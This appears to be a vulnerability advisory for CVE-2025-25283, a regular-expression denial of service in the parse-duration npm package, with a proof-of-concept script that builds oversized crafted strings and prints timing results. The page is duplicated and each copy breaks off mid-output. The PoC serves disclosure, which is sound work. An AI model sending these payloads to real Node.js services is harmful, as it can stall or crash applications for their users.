CVE-2025-25283

parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.

parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.

Summary

This report finds 2 availability issues due to the regex used in the parse-duration npm package:

1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.
2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.

PoC

Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:

// Vulnerable regex to use from the library:
import parse from './index.js'

function generateStressTestString(length, decimalProbability) {
  let result = "";
  for (let i = 0; i < length; i++) {
    if (Math.random() < decimalProbability) {
      result += "....".repeat(99);
    }
    result += Math.floor(Math.random() * 10);
  }
  return result;
}

function getStringSizeInMB_UTF8(str) {
  const sizeInBytes = Buffer.byteLength(str, 'utf8');
  const sizeInMB = sizeInBytes / (1024 * 1024);
  return sizeInMB;
}


// Generate test strings with varying length and decimal probability:
const longString1 = generateStressTestString(380, 0.05);
const longString2 = generateStressTestString(10000, 0.9);
const longString3 = generateStressTestString(500000, 1);
const longStringVar1 = '-1e' + '-----'.repeat(915000)
const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)

function testRegex(str) {
  const startTime = performance.now();
  // one of the regex's used in the library:
  // const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu;
  // const match = durationRE.test(str);
  // but we will use the exported library code directly:
  const match = parse(str);
  const endTime = performance.now();
  const timeTaken = endTime - startTime;
  return { timeTaken, match };
}

// Test the long strings:
let result = {}

{
  console.log(
    `\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`
  );
  result = testRegex(longString1);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`
  );
  result = testRegex(longString2 + "....".repeat(100) + "5сек".repeat(9000));
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`
  );
  result = testRegex(longStringVar1);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}


{
  console.log(
    `\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`
  );
  result = testRegex(longString3 + '.'.repeat(10000) + " 5сек".repeat(9000));
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`
  );
  result = testRegex(longStringVar2);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

The results of this on the cloud machine that I ran this on are as follows:

@lirantal ➜ /workspaces/parse-duration (master) $ node redos.js 

Regex test on string of length 6320 (size: 0.01 MB):
   matched: 5997140778.000855, time taken: 0.9271340000000237ms

Regex test on string of length 3561724 (size: 3.40 MB):
   matched: 0.0006004999999999999, time taken: 728.7693149999999ms

Regex test on string of length 4575003 (size: 4.36 MB):
   matched: null, time taken: 43.713984999999866ms

Regex test on string…

parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.

parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.

Summary

This report finds 2 availability issues due to the regex used in the parse-duration npm package:

1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.
2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.

PoC

Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:

// Vulnerable regex to use from the library:
import parse from './index.js'

function generateStressTestString(length, decimalProbability) {
  let result = "";
  for (let i = 0; i < length; i++) {
    if (Math.random() < decimalProbability) {
      result += "....".repeat(99);
    }
    result += Math.floor(Math.random() * 10);
  }
  return result;
}

function getStringSizeInMB_UTF8(str) {
  const sizeInBytes = Buffer.byteLength(str, 'utf8');
  const sizeInMB = sizeInBytes / (1024 * 1024);
  return sizeInMB;
}


// Generate test strings with varying length and decimal probability:
const longString1 = generateStressTestString(380, 0.05);
const longString2 = generateStressTestString(10000, 0.9);
const longString3 = generateStressTestString(500000, 1);
const longStringVar1 = '-1e' + '-----'.repeat(915000)
const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)

function testRegex(str) {
  const startTime = performance.now();
  // one of the regex's used in the library:
  // const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu;
  // const match = durationRE.test(str);
  // but we will use the exported library code directly:
  const match = parse(str);
  const endTime = performance.now();
  const timeTaken = endTime - startTime;
  return { timeTaken, match };
}

// Test the long strings:
let result = {}

{
  console.log(
    `\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`
  );
  result = testRegex(longString1);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`
  );
  result = testRegex(longString2 + "....".repeat(100) + "5сек".repeat(9000));
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`
  );
  result = testRegex(longStringVar1);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}


{
  console.log(
    `\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`
  );
  result = testRegex(longString3 + '.'.repeat(10000) + " 5сек".repeat(9000));
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`
  );
  result = testRegex(longStringVar2);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

The results of this on the cloud machine that I ran this on are as follows:

@lirantal ➜ /workspaces/parse-duration (master) $ node redos.js 

Regex test on string of length 6320 (size: 0.01 MB):
   matched: 5997140778.000855, time taken: 0.9271340000000237ms

Regex test on string of length 3561724 (size: 3.40 MB):
   matched: 0.0006004999999999999, time taken: 728.7693149999999ms

Regex test on string of length 4575003 (size: 4.36 MB):
   matched: null, time taken: 43.713984999999866ms

Regex test on string…